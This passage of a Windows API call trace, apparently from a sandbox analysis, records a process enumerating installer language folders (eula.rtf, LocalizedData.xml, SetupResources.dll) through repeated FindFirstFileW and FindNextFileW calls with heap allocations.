ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0101.182] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.182] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42902c0 [0101.182] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.182] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.182] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.183] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.183] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.183] FindClose (in: hFindFile=0x42902c0 | out: hFindFile=0x42902c0) returned 1 [0101.183] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.183] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0101.183] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.183] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42904c0 [0101.183] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.183] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.183] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.184] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.184] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.184] FindClose (in: hFindFile=0x42904c0 | out: hFindFile=0x42904c0) returned 1 [0101.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.184] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0101.184] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.184] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290700 [0101.184] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.184] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.184] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.184] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.185] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.185] FindClose (in: hFindFile=0x4290700 | out: hFindFile=0x4290700) returned 1 [0101.185] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.185] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0101.185] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.185] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290180 [0101.185] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.185] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.185] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.185] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.185] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.186] FindClose (in: hFindFile=0x4290180 | out: hFindFile=0x4290180) returned 1 [0101.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.186] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0101.186] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.186] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290680 [0101.186] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.186] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.186] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.186] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.186] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.186] FindClose (in: hFindFile=0x4290680 | out: hFindFile=0x4290680) returned 1 [0101.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.186] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0101.187] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.187] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290080 [0101.187] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.187] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.187] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.187] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.187] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.187] FindClose (in: hFindFile=0x4290080 | out: hFindFile=0x4290080) returned 1 [0101.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.188] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0101.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.188] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290080 [0101.188] FindNextFileW (in: 